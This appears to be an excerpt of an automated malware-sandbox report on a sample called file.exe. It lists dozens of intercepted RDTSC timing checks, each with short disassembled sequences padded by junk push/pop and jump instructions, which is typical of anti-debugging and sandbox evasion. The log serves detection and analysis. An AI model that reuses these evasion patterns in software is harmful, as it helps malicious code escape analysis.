Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B08D9 second address: 11B08DF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0A3B second address: 11B0A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0A41 second address: 11B0A6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8FD99F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jmp 00007F43B8FD99EEh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0BE7 second address: 11B0BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0BED second address: 11B0BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F43B8FD99E6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0BFB second address: 11B0C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0C01 second address: 11B0C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0C08 second address: 11B0C0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0F0F second address: 11B0F13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0F13 second address: 11B0F26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F43B8D2661Ah 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0F26 second address: 11B0F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2B45 second address: 11B2B49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2B49 second address: 11B2B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2B4F second address: 11B2B76 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnl 00007F43B8D26616h 0x00000009 pop ebx 0x0000000a jc 00007F43B8D26618h 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jno 00007F43B8D2661Eh 0x0000001b push eax 0x0000001c push edx 0x0000001d push edx 0x0000001e pop edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2B76 second address: 11B2B81 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113AC40 second address: 113AC46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B897A second address: 11B899F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 jmp 00007F43B8FD99F4h 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007F43B8FD99E6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1144F92 second address: 1144F9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BCD97 second address: 11BCD9D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BCD9D second address: 11BCDDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8D26625h 0x00000007 push ecx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F43B8D26621h 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F43B8D2661Fh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BCDDC second address: 11BCDE6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F43B8FD99ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BCF29 second address: 11BCF2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BCF2D second address: 11BCF37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BCF37 second address: 11BCF3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BCF3B second address: 11BCF41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BC93A second address: 11BC940 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD79B second address: 11BD7A1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD7A1 second address: 11BD7A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD7A7 second address: 11BD7B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F43B8FD99ECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD7B7 second address: 11BD7D8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F43B8D26616h 0x00000008 jmp 00007F43B8D2661Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 jg 00007F43B8D26616h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD7D8 second address: 11BD7DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD7DC second address: 11BD7E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BDC33 second address: 11BDC39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BDC39 second address: 11BDC4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F43B8D2661Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BDC4E second address: 11BDC72 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F43B8FD99E6h 0x00000008 jmp 00007F43B8FD99EEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F43B8FD99ECh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C25E2 second address: 11C25E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C25E6 second address: 11C25EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C25EC second address: 11C260C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F43B8D26622h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F43B8D26616h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C260C second address: 11C2614 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C2614 second address: 11C2627 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F43B8D2661Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C2A9C second address: 11C2ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F43B8FD99F7h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C2ABA second address: 11C2ABE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C2ABE second address: 11C2AD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jg 00007F43B8FD99E6h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C2BF8 second address: 11C2C29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 jbe 00007F43B8D26616h 0x0000000e jmp 00007F43B8D26626h 0x00000013 pop ecx 0x00000014 pop edx 0x00000015 jl 00007F43B8D2664Ah 0x0000001b pushad 0x0000001c push edi 0x0000001d pop edi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C2C29 second address: 11C2C2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C2C2F second address: 11C2C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C2C37 second address: 11C2C4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43B8FD99F0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C2C4D second address: 11C2C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C2D6C second address: 11C2D72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C2EC7 second address: 11C2ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C2ECD second address: 11C2ED3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C2ED3 second address: 11C2EF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F43B8D26616h 0x00000009 jmp 00007F43B8D2661Fh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jl 00007F43B8D26616h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1C69 second address: 11C1C83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8FD99F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C4EC6 second address: 11C4ED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C4ED0 second address: 11C4ED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C4ED6 second address: 11C4EF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F43B8D26627h 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C77FF second address: 11C7805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C7805 second address: 11C7830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F43B8D26629h 0x0000000f jo 00007F43B8D26616h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C79EA second address: 11C79F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C79F0 second address: 11C79F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C79F5 second address: 11C79FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C79FB second address: 11C7A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C9562 second address: 11C956B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB34D second address: 11CB353 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB353 second address: 11CB385 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F43B8FD99F2h 0x00000008 jno 00007F43B8FD99E6h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jmp 00007F43B8FD99F2h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB385 second address: 11CB3A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8D26620h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB3A3 second address: 11CB3A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB3A7 second address: 11CB3AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB3AB second address: 11CB3CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F43B8FD99E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F43B8FD99F6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB3CD second address: 11CB3DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F43B8D26616h 0x0000000a js 00007F43B8D26616h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB3DD second address: 11CB3F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8FD99F7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0302 second address: 11D0308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CFD5B second address: 11CFD5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6ADB second address: 11D6AE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6AE1 second address: 11D6B0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F43B8FD99F3h 0x0000000d jne 00007F43B8FD99EEh 0x00000013 jno 00007F43B8FD99E6h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6B0A second address: 11D6B0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6B0F second address: 11D6B15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D625E second address: 11D6278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F43B8D26622h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6278 second address: 11D6288 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F43B8FD99EAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6288 second address: 11D628C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC188 second address: 11DC194 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F43B8FD99E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DAC09 second address: 11DAC0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DB416 second address: 11DB45A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F43B8FD99E6h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e jnl 00007F43B8FD99FBh 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F43B8FD99F7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DB45A second address: 11DB461 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DBE80 second address: 11DBE9C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jo 00007F43B8FD99E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push ebx 0x0000000e jmp 00007F43B8FD99EAh 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE470 second address: 11DE483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F43B8D26616h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F43B8D26616h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE483 second address: 11DE487 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5512 second address: 11E5516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E35F5 second address: 11E3621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F43B8FD99F3h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F43B8FD99ECh 0x00000011 jg 00007F43B8FD99E6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3621 second address: 11E3627 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3627 second address: 11E3643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F43B8FD99F2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3643 second address: 11E3649 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3924 second address: 11E3946 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8FD99EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F43B8FD99ECh 0x00000012 jng 00007F43B8FD99E6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3F08 second address: 11E3F27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8D26623h 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F43B8D26616h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E4761 second address: 11E4778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43B8FD99F3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E4778 second address: 11E4786 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F43B8D2661Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E4786 second address: 11E478A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E478A second address: 11E47AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F43B8D26616h 0x00000009 jmp 00007F43B8D2661Fh 0x0000000e jnl 00007F43B8D26616h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E47AA second address: 11E47C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F43B8FD99F3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E47C6 second address: 11E47CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8590 second address: 11E8596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
